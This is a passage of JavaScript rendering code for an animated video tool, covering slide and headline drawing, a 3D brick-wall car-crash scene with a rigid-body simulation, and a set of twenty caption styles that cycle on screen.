    const s = it.s ?? 120, x = it.x - s / 2, y = it.y - s / 2;
    if (it.tile) {
      const T = s * 1.34, X = it.x - T / 2, Y = it.y - T / 2;
      glass(ctx, X, Y, T, T, T * .26); logo(R, ctx, it.logo, x, y, s, { gray: e.dim }); ring(ctx, X, Y, T, T, T * .26, e.ring);
    } else { ctx.save(); K.drop(ctx, .10, 24, 8); logo(R, ctx, it.logo, x, y, s, { gray: e.dim }); ctx.restore(); ring(ctx, x, y, s, s, s * .24, e.ring); }
    if (it.label) text(ctx, it.label, it.x, it.y + (it.tile ? s * .67 : s / 2) + 46, { size: it.labelSize ?? 30, weight: 700, ls: -.6, align: 'center', color: e.dim > .5 ? C.ink3 : C.ink });
  },

  img(R, ctx, it, e) {
    const im = R.img('/p/' + it.img); if (!im) return;
    const k = Math.min(it.w / im.width, it.h / im.height), w = im.width * k, h = im.height * k;
    ctx.save(); if (e.dim) addFilter(ctx, `grayscale(${e.dim.toFixed(3)})`); ctx.imageSmoothingQuality = 'high';
    ctx.drawImage(im, it.x - w / 2, it.y - h / 2, w, h); ctx.restore();
  },

  pill(R, ctx, it) {
    const sz = it.size ?? 30;
    ctx.save(); if (it.lift !== false) { const w = measure(ctx, it.text, sz, 700, -.2) + sz * 1.6 + (it.logo ? sz * 1.75 : 0), h = Math.round(sz * 2); K.shadow(ctx, it.x - w / 2, it.y - h / 2, w, h, h / 2, 22, .07, 8); }
    pill(R, ctx, it.x, it.y, it.text, { size: sz, weight: 700, solid: it.blue, logo: it.logo }); ctx.restore();
  },

  text(R, ctx, it) {
    const color = it.color === 'blue' ? C.blue : it.color === 'ink2' ? C.ink2 : it.color === 'ink3' ? C.ink3 : C.ink;
    text(ctx, it.text, it.x, it.y, { size: it.size ?? 34, weight: it.weight ?? 700, ls: it.ls ?? -.6, align: it.align || 'center', color });
  },

  arrow(R, ctx, it, e) {
    const p = e.p, x2 = it.x + it.w * p, y = it.y; if (p <= .01) return;
    ctx.save(); ctx.strokeStyle = it.blue ? C.blue : C.ink3; ctx.lineWidth = 6; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
    ctx.beginPath(); ctx.moveTo(it.x, y); ctx.lineTo(x2, y); ctx.moveTo(x2 - 18, y - 18); ctx.lineTo(x2, y); ctx.lineTo(x2 - 18, y + 18); ctx.stroke(); ctx.restore();
  },
};

// ---------------------------------------------------------------- slide
function headline(ctx, s, t, t0) {
  const lines = Array.isArray(s.title) ? s.title : s.title ? [s.title] : [], hl = new Set((s.hl || []).map(w => w.toLowerCase()));
  const base = s.size ?? 90, maxW = s.maxW ?? 960, wt = 800;
  let size = base; const widest = Math.max(0, ...lines.map(l => measure(ctx, l, base, wt, -3.5)));
  if (widest > maxW) size = base * maxW / widest;
  const ls = -3.5 * size / 90, y0 = s.y ?? (lines.length > 1 ? 350 : 395);
  lines.forEach((line, i) => {
    const p = S(t - (t0 + .06 + i * .08), 12); if (p <= .002) return;
    const ws = line.split(' '), sp = measure(ctx, ' ', size, wt, ls), ww = ws.map(w => measure(ctx, w, size, wt, ls));
    let x = 540 - (ww.reduce((a, b) => a + b, 0) + sp * (ws.length - 1)) / 2;
    const y = y0 + i * size * 1.0 + (1 - p) * 22, b = (1 - p) * 8;
    ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.3); if (b > .4) addFilter(ctx, `blur(${b.toFixed(1)}px)`);
    ws.forEach((w, j) => { text(ctx, w, x, y, { size, weight: wt, ls, color: hl.has(w.toLowerCase().replace(/[.,:;!?]+$/, '')) ? C.blue : C.ink }); x += ww[j] + sp; });
    ctx.restore();
  });
}

function slide(R, s, t) {
  const ctx = R.ctx, t0 = s.from - (s.pre || 0), out = s.to != null ? S(t - (s.to - .1), 22) : 0;
  if (out > .995) return;
  ctx.save(); ctx.globalAlpha *= 1 - out; if (out > .02) addFilter(ctx, `blur(${(out * 10).toFixed(1)}px)`);
  if (s.eyebrow) {
    const p = S(t - t0, 12);
    if (p > .002) text(ctx, s.eyebrow, 540, midBase(s.eyebrowY ?? 231, 30) + (1 - p) * 14, { size: 30, weight: 600, ls: -.3, align: 'center', color: C.blue, alpha: Math.min(1, p * 1.3) });
  }
  headline(ctx, s, t, t0);
  (s.items || []).forEach((it, i) => {
    const at = it.at ?? t0 + .25 + i * .12, p = S(t - at, 13); if (p <= .002 && !it.ghost) return;
    const o = it.outAt != null ? S(t - it.outAt, 18) : 0; if (o > .995) return;
    const pe = it.ghost ? Math.max(p, S(t - (it.ghostAt ?? t0 + .25 + i * .12), 13)) : p;
    const e = { at, p, dim: it.dimAt != null ? S(t - it.dimAt, 10) : 0, ring: it.ringAt != null ? S(t - it.ringAt, 12) : 0 };
    const blur = (1 - pe) * 7 + o * 5;
    ctx.save(); ctx.globalAlpha *= Math.min(1, pe * 1.3) * (1 - o) * (1 - .4 * e.dim); ctx.translate(0, (1 - pe) * 24 - o * 10);
    if (blur > .4) addFilter(ctx, `blur(${blur.toFixed(1)}px)`);
    if (it.k === 'bars') ITEMS.bars(R, ctx, it, e, t, s, i); else ITEMS[it.k]?.(R, ctx, it, e, t, s);
    ctx.restore();
  });
  ctx.restore();
}

export const CLEAN = { slide: { draw: slide } };

// Crash scene: a car rams a real 3D brick wall, drawn in perspective (no pose image). Same contract as scenes.js,
// times already mapped to SHORT time.
//   crashWall  a road in perspective, a brick wall that builds up course by course (every brick a shaded 3D box with
//              ink edges and a ground shadow), the car sticker that arrives, revs, rams it at hitAt and sinks into the
//              hole; the bricks around the impact burst out with real tumbling (rigid 3D boxes, gravity, bounces,
//              they settle flat on the road), the ones above the hole collapse, dust, blue burst, camera shake + punch.
//              {from, to, car (image path, front facing right), carH 470, enterAt, buildAt, ramAt, hitAt,
//               lane .8 (car lane across the wall, in bricks from its centre), rows 8, cols 6, brick ([len, h, thick] 120 56 62), color '#C8603E', yaw .62, pitch .3,
//               cx 600, cy 1215 (screen point of the impact face bottom centre), outDx}
import { C, clamp, lerp, E, S, leave, hash } from './kit.js';

const TAU = Math.PI * 2;
const hex = c => [1, 3, 5].map(i => parseInt(c.slice(i, i + 2), 16));
const shade = (rgb, k) => `rgb(${rgb.map(v => Math.round(k < 1 ? v * k : v + (255 - v) * (k - 1))).join(',')})`;
const live = (s, t) => t >= s.from - 1 && t <= (s.to ?? 1e9) + 1;
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }

// rotation matrix from Euler angles (x then y then z), applied to a local vector
function rot(v, [rx, ry, rz]) {
  let [x, y, z] = v, c = Math.cos(rx), s = Math.sin(rx);
  [y, z] = [y * c - z * s, y * s + z * c];
  c = Math.cos(ry); s = Math.sin(ry); [x, z] = [x * c + z * s, -x * s + z * c];
  c = Math.cos(rz); s = Math.sin(rz); [x, y] = [x * c - y * s, x * s + y * c];
  return [x, y, z];
}
const CORNERS = [[-1, -1, -1], [1, -1, -1], [1, 1, -1], [-1, 1, -1], [-1, -1, 1], [1, -1, 1], [1, 1, 1], [-1, 1, 1]];
const FACES = [[0, 3, 2, 1, [0, 0, -1]], [4, 5, 6, 7, [0, 0, 1]], [0, 4, 7, 3, [-1, 0, 0]], [1, 2, 6, 5, [1, 0, 0]], [3, 7, 6, 2, [0, 1, 0]], [0, 1, 5, 4, [0, -1, 0]]];
const LIGHT = (() => { const l = [-.45, .8, -.42], n = Math.hypot(...l); return l.map(v => v / n); })();

// the wall: courses of bricks in running bond, impact face at X = 0, the wall spans Z (across the road)
function layout(s) {
  const [L, h, T] = s.brick || [120, 56, 62], rows = s.rows || 8, cols = s.cols || 6, gap = 5, W = cols * L, out = [];
  for (let r = 0; r < rows; r++) {
    const off = r % 2 ? L / 2 : 0, cuts = [];
    for (let z = -W / 2 - off; z < W / 2 - .1; z += L) cuts.push([Math.max(z, -W / 2), Math.min(z + L, W / 2)]);
    for (const [a, b] of cuts) {
      if (b - a < 10) continue;
      out.push({ r, c: [T / 2, h * r + h / 2, (a + b) / 2], half: [T / 2 - gap / 2, h / 2 - gap / 2, (b - a) / 2 - gap / 2] });
    }
  }
  return { bricks: out, L, h, T, W, rows };
}

// deterministic rigid-body pass for one brick from its release to time t
function simulate(b, i, t, hit, wall, lane) {
  const imp = [0, wall.h * 2.2, lane], R = s => hash(i * 7.31 + s);
  const d = Math.hypot(b.c[0] - imp[0], (b.c[1] - imp[1]) * 1.15, b.c[2] - imp[2]);
  const blast = d < wall.h * 5.4, above = !blast && Math.abs(b.c[2] - lane) < wall.L * 1.7 && b.c[1] > imp[1];
  if (!blast && !above) return { p: b.c, a: [0, 0, 0] };
  const rel = hit + (blast ? 0 : .07 + (b.c[1] - imp[1]) / 2600 + R(1) * .05);
  if (t <= rel) return { p: b.c, a: [0, 0, 0] };
  let p = [...b.c], a = [0, 0, 0], v, w;
  if (blast) {
    const k = 1 - d / (wall.h * 5.4), dir = [b.c[0] - imp[0] + 60, b.c[1] - imp[1] + 70, b.c[2] - imp[2]], n = Math.hypot(...dir);
    const sp = 450 + 1050 * Math.sqrt(k) + 400 * R(2);
    v = [dir[0] / n * sp + 330 + 380 * R(3), dir[1] / n * sp * .7 + 300 + 380 * R(4), dir[2] / n * sp * 1.1 + (R(5) - .5) * 420];
    w = [(R(6) - .5) * 22, (R(7) - .5) * 9, (R(8) - .5) * 22];
  } else { v = [120 + 260 * R(3), 0, (R(5) - .5) * 160]; w = [(R(6) - .5) * 5, 0, -2 - 4 * R(8)]; }
  const dt = 1 / 120, g = 2700, steps = Math.min(600, Math.floor((t - rel) / dt));
  let rest = 0;
  for (let n = 0; n < steps; n++) {
    v[1] -= g * dt;
    for (let k = 0; k < 3; k++) { p[k] += v[k] * dt; a[k] += w[k] * dt; }
    const low = Math.min(...CORNERS.map(q => rot([q[0] * b.half[0], q[1] * b.half[1], q[2] * b.half[2]], a)[1]));
    if (p[1] + low < 0) {
      p[1] = -low;
      if (v[1] < 0) v[1] = -v[1] * .28;
      v[0] *= .72; v[2] *= .72; w = w.map(x => x * .55);
    }
    if (p[1] + low < 2) {   // resting on the road: tip over onto the nearest face
      rest++; v[0] *= .96; v[2] *= .96;
      if (rest > 10) { w = w.map(x => x * .8); a[0] += (Math.round(a[0] / (Math.PI / 2)) * Math.PI / 2 - a[0]) * .12; a[2] += (Math.round(a[2] / (Math.PI / 2)) * Math.PI / 2 - a[2]) * .12; }
    }
  }
  return { p, a };
}

const crashWall = {
  needs(s, t) { return live(s, t) && s.car ? ['/p/' + s.car] : []; },
  draw(R, s, t) {
    const { ctx } = R;
    const out = s.to != null ? leave(t - s.to) : 0, pin = S(t - s.from, 12);
    if (pin <= .002 || out >= 1) return;
    const wall = layout(s), rgb = hex(s.color || '#C8603E'), hit = s.hitAt ?? s.from + 2.6;
    const ya = s.yaw ?? .62, pa = s.pitch ?? .3, f = s.zoom ? 2400 * s.zoom : 2750, D = 2400, cx = s.cx ?? 560, cy = s.cy ?? 1250;
    const cyw = Math.cos(ya), syw = Math.sin(ya), cp = Math.cos(pa), sp = Math.sin(pa);
    const view = ([X, Y, Z]) => { const x1 = X * cyw - Z * syw, z1 = X * syw + Z * cyw; return [x1, Y * cp + z1 * sp, z1 * cp - Y * sp]; };
    const proj = P => { const [x, y, z] = view(P), k = f / (D + z); return [cx + x * k, cy - y * k, z, k]; };
    const poly = (pts, fill, stroke, lw) => {
      ctx.beginPath(); pts.forEach(([x, y], i) => i ? ctx.lineTo(x, y) : ctx.moveTo(x, y)); ctx.closePath();
      if (fill) { ctx.fillStyle = fill; ctx.fill(); } if (stroke) { ctx.strokeStyle = stroke; ctx.lineWidth = lw; ctx.stroke(); }
    };
    const th = t - hit, after = th > 0, lane = (s.lane ?? .8) * wall.L;

    alpha(ctx, (1 - out) * Math.min(1, pin * 1.4), () => {
      ctx.translate((s.outDx ?? -820) * out * out, 60 * (1 - pin));
      // camera shake + zoom punch on impact
      if (after) {
        const e = Math.exp(-th * 6.5), A = 30 * e, [ix, iy] = proj([0, wall.h * 2.2, lane]), z = 1 + .085 * Math.exp(-th * 5) * Math.min(1, th * 30);
        ctx.translate(A * Math.sin(th * 91), A * .8 * Math.cos(th * 77));
        ctx.translate(ix, iy); ctx.scale(z, z); ctx.translate(-ix, -iy);
      }
      // ---- road in perspective
      const rp = E.out(clamp((t - s.from) / .45));
      const roadW = 430, x0 = -2600, x1 = lerp(x0, 1900, rp);
      poly([proj([x0, 0, -roadW]), proj([x1, 0, -roadW]), proj([x1, 0, roadW]), proj([x0, 0, roadW])].map(q => q.slice(0, 2)), '#E9E3D6');
      ctx.lineCap = 'round';
      for (const z of [-roadW, roadW]) { const a = proj([x0, 0, z]), b = proj([x1, 0, z]); ctx.beginPath(); ctx.moveTo(a[0], a[1]); ctx.lineTo(b[0], b[1]); ctx.strokeStyle = C.ink; ctx.lineWidth = 7; ctx.stroke(); }
      for (let x = x0 + 80; x < x1 - 160; x += 300) { const a = proj([x, 0, -roadW * .55]), b = proj([x + 150, 0, -roadW * .55]); ctx.beginPath(); ctx.moveTo(a[0], a[1]); ctx.lineTo(b[0], b[1]); ctx.strokeStyle = C.ink3; ctx.lineWidth = 6; ctx.stroke(); }

      // ---- car position (front bumper X), revs, rams, sinks into the hole
      const enter = s.enterAt ?? s.from, ram = s.ramAt ?? hit - .44, idleX = -640;
      let carX;
      if (t < ram) carX = lerp(-2300, idleX, E.out(clamp((t - enter) / .62))) - 70 * E.io(clamp((t - enter - .9) / (ram - enter - .9)));
      else if (!after) carX = lerp(idleX - 70, 0, Math.pow(clamp((t - ram) / (hit - ram)), 2.2));
      else carX = 190 * E.out(clamp(th / .2)) - 25 * E.io(clamp((th - .2) / .5));
      const rev = t > enter + .6 && t < ram ? Math.sin(t * 95) * 3.5 : 0;
      const tilt = after ? -.13 * Math.exp(-th * 5) * Math.sin(clamp(th / .06) * Math.PI / 2) : t > ram ? .03 * clamp((t - ram) / .2) : 0;

      // ---- bricks: build up, then the blast
      const build = s.buildAt ?? s.from + .2;
      const items = wall.bricks.map((b, i) => {
        const bp = S(t - build - b.r * .07 - hash(i * 3.3) * .05, 13); if (bp <= .002) return null;
        const st = after ? simulate(b, i, t, hit, wall, lane) : { p: b.c, a: [0, 0, 0] };
        const p = [st.p[0], st.p[1] + 260 * (1 - bp), st.p[2]];
        const pts = CORNERS.map(q => { const r = rot([q[0] * b.half[0], q[1] * b.half[1], q[2] * b.half[2]], st.a); return [p[0] + r[0], p[1] + r[1], p[2] + r[2]]; });
        return { kind: 'brick', i, p, a: st.a, pts, depth: view(p)[2], fade: Math.min(1, bp * 1.6) };
      }).filter(Boolean);

      // ground shadows first
      for (const it of items) {
        const k = .2 * clamp(1 - it.p[1] / 700) * it.fade;
        if (k <= .01) continue;
        const ys = it.pts.map(q => q[1]), lo = Math.min(...ys);
        const foot = it.pts.filter(q => q[1] < lo + 30).map(q => proj([q[0] + 14, 0, q[2] - 10]));
        if (foot.length < 3) continue;
        const c = foot.reduce((a, q) => [a[0] + q[0] / foot.length, a[1] + q[1] / foot.length], [0, 0]);
        foot.sort((u, w) => Math.atan2(u[1] - c[1], u[0] - c[0]) - Math.atan2(w[1] - c[1], w[0] - c[0]));
        poly(foot, `rgba(40,28,18,${k})`);
      }
      const im = s.car && R.img('/p/' + s.car), ch = s.carH || 470;
      const carP = proj([carX - 190, 0, lane]), carDepth = view(after ? [0, 120, lane - wall.L * .9] : [carX - 140, 120, lane])[2];
      if (im) {   // car shadow on the road
        const a = proj([carX - 420, 0, lane - 90]), b = proj([carX - 10, 0, lane + 90]);
        ctx.save(); ctx.fillStyle = 'rgba(40,28,18,.16)'; ctx.beginPath();
        ctx.ellipse((a[0] + b[0]) / 2, (a[1] + b[1]) / 2 + 4, Math.abs(b[0] - a[0]) / 2 + 30, 26 * carP[3], 0, 0, TAU); ctx.fill(); ctx.restore();
      }
      const drawCar = () => {
        if (!im) return;
        const k = carP[3], hgt = ch * k, wid = hgt * im.width / im.height;
        // the bumper sits at (0.95, 0.9) of the sticker: anchor it on the car's front bottom
        const fx = proj([carX, 0, lane])[0], fy = carP[1] + rev * .3;
        // speed lines while it rams
        if (t > ram && t < hit + .05) {
          const q = clamp((t - ram) / .15);
          ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 8; ctx.lineCap = 'round';
          for (let j = 0; j < 3; j++) { const y = fy - hgt * (.22 + j * .14), x = fx - wid * 1.02; ctx.beginPath(); ctx.moveTo(x - 60 - 220 * q, y); ctx.lineTo(x - 60, y); ctx.stroke(); }
          ctx.restore();
        }
        ctx.save(); ctx.translate(fx, fy); ctx.rotate(tilt);
        const sq = after ? 1 - .07 * Math.exp(-th * 7) * Math.min(1, th * 25) : 1;
        ctx.scale(sq, 2 - sq); ctx.imageSmoothingQuality = 'high';
        ctx.drawImage(im, -wid * .95, -hgt * .9, wid, hgt); ctx.restore();
      };

      // painter: everything sorted far to near, the car in the list as one item
      const list = [...items, { kind: 'car', depth: carDepth }].sort((u, w) => w.depth - u.depth);
      for (const it of list) {
        if (it.kind === 'car') { drawCar(); continue; }
        const P = it.pts.map(proj);
        alpha(ctx, it.fade, () => {
          ctx.lineJoin = 'round';
          for (const [a, b, c, d, n] of FACES) {
            const q = [P[a], P[b], P[c], P[d]];
            const cr = (q[1][0] - q[0][0]) * (q[2][1] - q[0][1]) - (q[1][1] - q[0][1]) * (q[2][0] - q[0][0]);
            if (cr >= 0) continue;
            const wn = rot(n, it.a), l = Math.max(0, wn[0] * LIGHT[0] + wn[1] * LIGHT[1] + wn[2] * LIGHT[2]);
            poly(q, shade(rgb, .74 + .5 * l), C.ink, 2.6);
            if (l > .5 && Math.abs(wn[0]) > .6) {   // a few pits on the lit big face: baked-clay texture
              ctx.fillStyle = shade(rgb, .82);
              for (let j = 0; j < 3; j++) {
                const u = .2 + .6 * hash(it.i * 9 + j), v = .25 + .5 * hash(it.i * 5 + j * 2);
                const x = lerp(lerp(q[0][0], q[1][0], u), lerp(q[3][0], q[2][0], u), v), y = lerp(lerp(q[0][1], q[1][1], u), lerp(q[3][1], q[2][1], u), v);
                ctx.beginPath(); ctx.arc(x, y, 2.6, 0, TAU); ctx.fill();
              }
            }
          }
        });
      }

      // ---- impact: cracks a beat before, blue ring + burst lines, dust clouds
      const [ix, iy] = proj([0, wall.h * 2.2, lane]);
      if (after && th < .5) {
        const q = E.out(clamp(th / .22)), fade = 1 - clamp((th - .16) / .2);
        alpha(ctx, fade, () => {
          ctx.strokeStyle = C.blue; ctx.lineCap = 'round';
          ctx.lineWidth = 9; ctx.beginPath(); ctx.arc(ix, iy, 40 + 220 * q, 0, TAU); ctx.stroke();
          for (let j = 0; j < 10; j++) {
            const an = j / 10 * TAU + .3, r0 = 90 + 170 * q, r1 = r0 + 110 * q * (.7 + .3 * hash(j));
            ctx.lineWidth = 10; ctx.beginPath(); ctx.moveTo(ix + Math.cos(an) * r0, iy + Math.sin(an) * r0); ctx.lineTo(ix + Math.cos(an) * r1, iy + Math.sin(an) * r1); ctx.stroke();
          }
        });
      }
      if (after) {
        for (let j = 0; j < 6; j++) {
          const st = .04 + j * .05, x = th - st; if (x <= 0 || x > 1.2) continue;
          const g = E.out(clamp(x / .8)), fade = 1 - clamp((x - .55) / .65);
          const wp = proj([70 + hash(j * 2.1) * 220 * g, 20 + 120 * g * hash(j * 4.7), lane + (j % 2 ? 1 : -1) * (180 + 260 * hash(j * 3.9)) * g]);
          const r = (34 + 46 * hash(j * 1.7)) * (.4 + .6 * g) * wp[3];
          alpha(ctx, fade, () => {
            const puffs = [0, 1, 2].map(m => [wp[0] + (m - 1) * r * .7, wp[1] - (m === 1 ? r * .35 : 0), r * (m === 1 ? 1 : .75)]);
            ctx.strokeStyle = C.ink; ctx.lineWidth = 8;   // one clean outline around the union: stroke wide, then fill over it
            for (const [x, y, rr] of puffs) { ctx.beginPath(); ctx.arc(x, y, rr, 0, TAU); ctx.stroke(); }
            ctx.fillStyle = '#ECE7DD';
            for (const [x, y, rr] of puffs) { ctx.beginPath(); ctx.arc(x, y, rr, 0, TAU); ctx.fill(); }
          });
        }
      }
    });
  },
};

export const CRASH = { crashWall };

// Meta scenes: "the AI edits the video you are watching" beats.
// Same contract as scenes.js: {type, from, to, layer, ...} with times already mapped to SHORT time.
//   capStyles (over) the live caption cycles through N caption styles, with a "Style 07 / 20" counter and a dot rail
//   camTile (over)   the camera as a framed tile on full paper that moves on spoken words (top, bottom, left, right)
//   camSplit (over)  split screen flipped: the camera rises from its bottom slot to the TOP of the frame, paper below
import { C, F, W, H, E, clamp, lerp, seg, S, leave, track, sheet, text, measure, midBase, chip, cover } from './kit.js';
import * as K from './kit.js';

const TAU = Math.PI * 2;
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }
const envA = (s, t) => S(t - s.from + (s.pre || 0), 12) * (1 - leave(t - (s.to ?? 1e9)));

// ---------------------------------------------------------------- capStyles (over)
// {layer: 'over', from, to, cycleFrom, cycleTo, n: 20, y: 1180, counterY: 300}
// Before cycleFrom it shows style 0 (the house sticker). Hide the normal captions over [from, to].
const MONO = 'JetBrains Mono', SERIF = 'Georgia';
const words = c => c.words.map(w => w.text);
function lineW(ctx, ws, size, wt, ls, fam = F.sans) { const sp = measure(ctx, ' ', size, wt, ls, fam || F.sans); return ws.reduce((a, w, i) => a + measure(ctx, w, size, wt, ls, fam) + (i ? sp : 0), 0); }
// lay words out centred on (cx, base); fn(word, x, w, i) draws each one
function lay(ctx, ws, cx, size, wt, ls, fam, fn) { fam = fam || F.sans;
  const sp = measure(ctx, ' ', size, wt, ls, fam || F.sans); let x = cx - lineW(ctx, ws, size, wt, ls, fam) / 2;
  ws.forEach((w, i) => { const ww = measure(ctx, w, size, wt, ls, fam); fn(w, x, ww, i); x += ww + sp; });
}
function sticker(ctx, s, x, y, o) {
  ctx.save(); ctx.font = `${o.weight || 800} ${o.size}px ${o.fam || F.sans}`; ctx.letterSpacing = (o.ls ?? -1.5) + 'px'; ctx.textAlign = o.align || 'left';
  ctx.lineJoin = 'round';
  if (o.stroke) { ctx.lineWidth = o.lw || o.size * .22; ctx.strokeStyle = o.stroke; if (o.shadow !== false) { ctx.shadowColor = 'rgba(20,16,8,.28)'; ctx.shadowBlur = 22; ctx.shadowOffsetY = 6; } ctx.strokeText(s, x, y); ctx.shadowColor = 'transparent'; }
  if (o.fill !== null) { ctx.fillStyle = o.fill || C.ink; ctx.fillText(s, x, y); }
  ctx.restore();
}
// 'clean' (21st, not in the capStyles cycle): a white pill with sentence-case ink text, the clean look's caption.
// Designed at 42 px (base), so captions.size is the real text size. Emphasised words take the accent.
function cleanPill(ctx, c, y) {
  const ws = words(c), sz = 42, wt = 500, ls = -.4, w = lineW(ctx, ws, sz, wt, ls), h = 76, padX = 30;
  ctx.save(); K.drop(ctx, .10, 26, 7);
  ctx.beginPath(); ctx.roundRect(W / 2 - w / 2 - padX, y - h / 2, w + padX * 2, h, 22); ctx.fillStyle = C.white; ctx.fill();
  ctx.shadowColor = 'transparent'; ctx.strokeStyle = `rgba(${K.edgeRGB()},.09)`; ctx.lineWidth = 1.5; ctx.stroke(); ctx.restore();
  lay(ctx, ws, W / 2, sz, wt, ls, null, (s, x, ww, i) => text(ctx, s, x, midBase(y, sz), { size: sz, weight: c.words[i].emph ? 600 : wt, ls, color: c.words[i].emph ? C.blue : C.ink }));
}
cleanPill.base = 42;
// 20 styles, all inside the palette (ink, paper, one blue). Each draws chunk c centred at y; t for per-word timing.
const STYLES = [
  (ctx, c, y, t) => lay(ctx, words(c), W / 2, 84, 800, -1.5, null, (w, x, ww, i) => sticker(ctx, w, x, midBase(y, 84), { size: 84, stroke: C.sheet, fill: c.words[i].emph ? C.blue : C.ink })),
  (ctx, c, y) => { const s = words(c).join(' '), sz = 76, w = measure(ctx, s, sz, 800, -1.2); sheet(ctx, W / 2 - w / 2 - 40, y - 62, w + 80, 124, 62, { fill: C.blue, elev: .8, border: false }); text(ctx, s, W / 2, midBase(y, sz), { size: sz, weight: 800, ls: -1.2, align: 'center', color: C.white }); },
  (ctx, c, y) => { const s = words(c).join(' '), sz = 76, w = measure(ctx, s, sz, 800, -1.2); sheet(ctx, W / 2 - w / 2 - 36, y - 60, w + 72, 120, 18, { fill: C.ink, elev: .8, border: false }); text(ctx, s, W / 2, midBase(y, sz), { size: sz, weight: 800, ls: -1.2, align: 'center', color: C.white }); },
  (ctx, c, y) => sticker(ctx, words(c).join(' ').toUpperCase(), W / 2, midBase(y, 80), { size: 80, weight: 900, ls: 4, align: 'center', stroke: C.sheet }),
  (ctx, c, y, t) => lay(ctx, words(c), W / 2, 84, 800, -1.5, null, (w, x, ww, i) => sticker(ctx, w, x, midBase(y, 84), { size: 84, stroke: C.sheet, fill: t >= c.words[i].start ? C.blue : C.ink3 })),
  (ctx, c, y, t) => lay(ctx, words(c), W / 2, 84, 800, -1.5, null, (w, x, ww, i) => {
    const p = S(t - c.words[i].start, 18); sticker(ctx, w, x, midBase(y, 84), { size: 84, stroke: C.sheet });
    if (p > .01) { ctx.fillStyle = C.blue; ctx.beginPath(); ctx.roundRect(x, y + 50, ww * p, 14, 7); ctx.fill(); }
  }),
  (ctx, c, y) => sticker(ctx, words(c).join(' '), W / 2, midBase(y, 92), { size: 92, weight: 700, ls: -1, fam: SERIF, align: 'center', stroke: C.sheet, fill: C.ink }),
  (ctx, c, y) => { const s = words(c).join(' ').toLowerCase(); chip(ctx, W / 2, y, s, { size: 58, weight: 700, ls: 0, h: 120, padX: 44 }); },
  (ctx, c, y) => lay(ctx, words(c), W / 2, 80, 800, -1.2, null, (w, x, ww) => { ctx.fillStyle = C.tint; ctx.beginPath(); ctx.roundRect(x - 10, y - 52, ww + 20, 104, 14); ctx.fill(); text(ctx, w, x, midBase(y, 80), { size: 80, weight: 800, ls: -1.2, color: C.blue2 }); }),
  (ctx, c, y) => sticker(ctx, words(c).join(' '), W / 2, midBase(y, 92), { size: 92, weight: 900, align: 'center', stroke: C.ink, lw: 5, shadow: false, fill: C.sheet }),
  (ctx, c, y) => sticker(ctx, words(c).at(-1), W / 2, midBase(y, 150), { size: 150, weight: 900, ls: -5, align: 'center', stroke: C.sheet, fill: C.blue }),
  (ctx, c, y) => sticker(ctx, words(c).join(' ').toLowerCase(), W / 2, midBase(y, 84), { size: 84, weight: 500, ls: -1, align: 'center', stroke: C.sheet, fill: C.ink }),
  (ctx, c, y) => lay(ctx, words(c), W / 2, 84, 800, -1.5, null, (w, x, ww, i) => sticker(ctx, w, x, midBase(y, 84), { size: 84, stroke: C.sheet, fill: i ? C.blue : C.ink })),
  (ctx, c, y) => lay(ctx, words(c), W / 2, 66, 800, -1, null, (w, x, ww) => { sheet(ctx, x - 16, y - 50, ww + 32, 100, 20, { elev: .6 }); text(ctx, w, x, midBase(y, 66), { size: 66, weight: 800, ls: -1 }); }),
  (ctx, c, y) => { ctx.save(); ctx.translate(W / 2, y); ctx.rotate(-.06); const s = words(c).join(' '), w = measure(ctx, s, 78, 900, -1.5); sheet(ctx, -w / 2 - 34, -60, w + 68, 120, 14, { elev: 1 }); text(ctx, s, 0, midBase(0, 78), { size: 78, weight: 900, ls: -1.5, align: 'center' }); ctx.restore(); },
  (ctx, c, y, t) => { const s = words(c).join(' '), n = Math.round(s.length * seg(t, c.start, c.start + .35)), sz = 72, w = measure(ctx, s, sz, 600, 0, MONO), x = W / 2 - w / 2;
    sheet(ctx, x - 34, y - 58, w + 68, 116, 18, { elev: .8 }); text(ctx, s.slice(0, n), x, midBase(y, sz), { size: sz, weight: 600, fam: MONO });
    if (n < s.length || (t * 2 | 0) % 2) { ctx.fillStyle = C.blue; ctx.fillRect(x + measure(ctx, s.slice(0, n), sz, 600, 0, MONO) + 4, y - 34, 6, 68); } },
  (ctx, c, y) => sticker(ctx, words(c).join(' '), W / 2, midBase(y, 88), { size: 88, weight: 900, align: 'center', stroke: C.sheet, fill: C.blue }),
  (ctx, c, y) => { const ws = words(c), lh = 86, y0 = y - (ws.length - 1) * lh / 2; ws.forEach((w, i) => sticker(ctx, w, W / 2, midBase(y0 + i * lh, 80), { size: 80, weight: 900, ls: -2, align: 'center', stroke: C.sheet, fill: i === ws.length - 1 ? C.blue : C.ink })); },
  (ctx, c, y) => sticker(ctx, '[ ' + words(c).join(' ') + ' ]', W / 2, midBase(y, 66), { size: 66, weight: 700, ls: 0, fam: MONO, align: 'center', stroke: C.sheet, fill: C.blue }),
  (ctx, c, y) => { const s = words(c).join(' '), sz = 72, w = measure(ctx, s, sz, 800, -1.2), x = W / 2 - w / 2 - 50;
    sheet(ctx, x, y - 64, w + 100, 128, 22, { elev: 1 }); ctx.fillStyle = C.blue; ctx.beginPath(); ctx.roundRect(x, y - 64, 14, 128, [22, 0, 0, 22]); ctx.fill();
    text(ctx, s, x + 60, midBase(y, sz), { size: sz, weight: 800, ls: -1.2 }); },
  cleanPill,
];

const capStyles = {
  draw(R, s, t) {
    const { ctx } = R, a = envA(s, t); if (a <= .002 || !R.allChunks) return;
    const n = Math.min(s.n || 20, STYLES.length), y = s.y ?? 1180;
    let c = null; for (const ch of R.allChunks) if (ch.start - .02 <= t) c = ch; else break;
    const k = t < s.cycleFrom ? 0 : Math.min(n - 1, Math.floor(seg(t, s.cycleFrom, s.cycleTo) * n * .9999));
    const showCap = c && t >= s.from - .1 && (t <= c.end + .4 || t < s.cycleTo);
    alpha(ctx, a, () => {
      // fade per chunk only: style switches cut hard (each lasts ~.25 s)
      if (showCap) { const p = S(t - c.start + .12, 30); alpha(ctx, Math.min(1, p * 1.4), () => { ctx.translate(0, (1 - p) * 18); STYLES[k](ctx, c, y, t); }); }
      // counter + dot rail, only once the cycling starts
      const q = S(t - s.cycleFrom + .15, 14); if (q <= .002) return;
